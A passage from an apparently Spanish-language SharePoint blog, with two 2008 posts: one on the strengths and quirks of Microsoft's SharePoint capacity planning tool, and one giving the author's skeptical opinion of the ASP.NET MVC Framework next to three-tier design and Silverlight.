Desde cuando la herramienta estaba en beta un par de cosas siempre me llamaron la atención: los resultados que produce son bastante confiables para instalaciones medianas (10 a 40 mil usuarios), pero para instalaciones grandes (más de 50 mil usuarios) y pequeñas (unos cuantos miles de usuarios) dice que necesita más hardware del que yo diría que es necesario. Para mini-instalaciones (un par de cientos de usuarios) el resultado es simplemente imposible de confiar, pero, como decíamos más arriba, para este tipo de instalaciones ya sabemos la respuesta de antemano y no necesitamos ninguna ayuda. Otra cosa curiosa es que no importa cuanta memoria RAM se defina en los servidores, el resultado siempre es igual...
En estos días, viendo el Blog de Joel Oleson, me he encontrado con uno de sus artículos en el que cuenta las intimidades de la creación de la herramienta (http://blogs.msdn.com/joelo/archive/2008/02/06/sharepoint-capacity-planning-tool-released-behind-the-scenes.aspx) . Allí nos cuenta que fue casi imposible que los expertos mismos de Microsoft dieran información sobre como planificar instalaciones de SharePoint, por el sencillo hecho de que nadie quiere poner sus manos en el fuego por algo así (por aquello del “Depende”). Y, además, confirma lo de la configuración de RAM: simplemente no lo incluyeron en el modelo, así que no importa la cifra que se ponga, el resultado no variará. Y también cuenta las peripecias tratando de definir los requerimientos de SQL... leyendo entre líneas, es fácil ver que inclusive dentro de Microsoft no saben con certeza cuales son los limites de SharePoint... algo que ya sabíamos desde hace tiempo, pero es bueno verlo confirmado. SharePoint es escalable hasta... hasta donde? 300, 400 mil usuarios? Medio millón? En realidad nadie lo sabe, porque nadie ha llegado a sus límites.
En fin, la herramienta funciona bastante bien para diseñar el hardware de los Portales “normales” que hacemos continuamente, así que si esta en ese proceso en el momento, o lo hará en el futuro, utilícela, que le va a servir mucho. Y siempre tenga en cuenta que el resultado es una indicación, y que solamente después de tenerlo todo funcionando se verá si la metida de pata a sido sensacional o que ha quedado como el profesional experto que pretende ser... y seguimos siendo artesanos...
Gustavo - http://www.gavd.net/servers/
Escriba un Comentario que me haga reir...
Sunday, February 10, 2008
#
Microsoft esta preparándonos desde hace ya algún tiempo una sorpresa mas, como si no tuviéramos suficientes para este año: el “ASP.NET MVC FrameWork”.
El MVC es una metodología para crear aplicaciones que divide la implementación en “Modelos”, “Vistas” y “Controladores”. En varios sitios regados por internet se encuentra suficiente información al respecto, así que no me meto en contar una vez más de que va el asunto. Jorge Dieguez ha escrito algo en este mismo Blog que da más que suficiente información al respecto: “Apuntes sobre el ASP.NET MVC Framework” (http://geeks.ms/blogs/jdieguez/archive/2007/11/24/apuntes-sobre-el-asp-net-mvc-framework.aspx ). Allí encuentran los vínculos a los artículos originales de Scott Guthrie, la persona encargada de desarrollar todo el asunto dentro de Microsoft. Y en el sitio de Microsoft ASP.NET pueden descargar el preview de las extensiones, si desean experimentar con los bits un poco (http://asp.net/downloads/3.5-extensions/ ).
Aquí tengo que confesar algo muy penoso: después de seguir el desarrollo del MVC por algún tiempo, y hacer pruebitas por aquí y por allá para mirar cómo funciona, no le encuentro la maldita gracia... probablemente se trate de que mi ignorancia es tan grande como mi falta de conocimientos, pero sigo sin ver cuáles son los beneficios con respecto a la separación en capas que hacemos desde hace bastante tiempo. O tal vez es pura deformación profesional, pues desde hace muchos años que no desarrollo aplicaciones Web de una manera regular... sea por lo que sea, en un campo puramente conceptual, desde hace mucho tiempo estamos haciendo separación de lógica (control) y presentación (vista). El MVC introduce el concepto de “Modelo”, que según Scott Guthrie son los componentes responsables por mantener el estado, por ejemplo persistiéndolo en una Base de Datos (“Models in a MVC based application are the components of the application that are responsable for maintaining state. Often this state is persisted insida a database”), así que estamos hablando de una capa de datos y del código para conversar con ella.
Continuando con lo que Scott (nosotros, los íntimos, lo llamamos cariñosamente Scotty 8-), “uno de los beneficios de usar metodologías MVC es que asegura una separación clara entre modelo, vista y control en una aplicación, lo que facilita el testeo”... lo mismo se puede decir de una aplicación bien diseñada de tres capas... opinión personal, por supuesto... Otros beneficios es que “es altamente extensible, todo es diseñado para poder ser reemplazado/cambiado”... mientras no modifiquemos la interface de objetos existentes, y solamente agreguemos nuevos componentes, toda dentro de OO es perfectamente extensible y modificable...
Yendo un poco más a la implementación de MVC, una cosa si tengo que conceder: el manejo de markup dentro de código en línea es más fácil. Cuando se usan controles Web en una página, el código que genera DOT.NET, especialmente para los identificadores es infame... miren en el código fuente HMTL de cualquier pagina de SharePoint, y lo verán lleno de barbaridades por el estilo de “id=ctl00$PlaceHolderSearchArea$ctl01$S6AE27B38_InputKeywords", con códigos incluidos dinámicamente que son imposibles de descifrar. Si queremos referenciar el código desde el code-behind, no hay problema pues ASP.NET reconoce el nombre por sí mismo, pero en el momento en el que necesitemos hacer algo al lado del cliente con JavaScript, la vemos negra para encontrar el identificador. MVC permite hacer referencias mucho más claras (por lo que he visto). Pero es esto una justificación para crear todo un FrameWork?
De una u otra forma, si estamos hablando de separación de capas, el concepto de SilverLight me parece mucho mas razonable que MVC. Todos los pica-código tenemos problemas con diseño y diseñadores gráficos, que alguien se atreva a tirar la primera piedra si no es así. Cuantas discusiones/irritación/peleas no he tenido en mi vida con diseñadores gráficos porque un azul no es azul suficiente y porque todo hay que moverlo un pixel a la izquierda porque “no está en balance”. Si Microsoft nos quiere librar de este tipo de pesadillas, SilverLight nos entrega un paradigma perfecto de separación entre presentación y lógica: que alguien se dedique a hacer colores bonitos y no le moleste la vida a los que tienen que hacer que las cosas funcionen...
No sé porque estoy pensando que MVC será uno más de los inventos de Microsoft que vendrán y se volverán a ir... alguien se acuerda del DNA de hace 10 años? Vino y se volvió a ir... antes del DNA estábamos haciendo aplicaciones de tres capas, después de él seguimos haciéndolas... la cuestión no es del FrameWork sino del diseñador(a) y del(a) desarrollador(a): si ello(a)s no hacen un buen trabajo, no hay FrameWork que haga milagros... seguimos siendo artesanos...
Y cuál es la relación con SharePoint? Por el momento ninguna, y todo depende de que tan fuerte apueste Microsoft para meternos el MVC. Si Microsoft decide por una u otra razón que aplicaciones Web tienen que ser desarrolladas con el MVC, lo tendremos que usar... probablemente no para la próxima versión de SharePoint, pero si para la siguiente. Por el momento, la arquitectura de SharePoint es claramente de tres capas, con una separación más que perfectamente definida. Como prueba, vea lo fácil que es modificar la interface, sin tocar la lógica. O modificar la lógica, sin tocar la interface. Y hablando de extensibilidad, lo fácil que es agregarle funcionalidad sin tocar ni la lógica ni la interface. Y la capa de datos está perfectamente escondida y protegida, de tal forma que ni la lógica ni la interface necesitan saber nada de ella. Yo diría, SharePoint es MVC al extremo sin la necesidad de MVC.
Gustavo - http://www.gavd.net/servers/
Escriba un Comentario que me haga reir...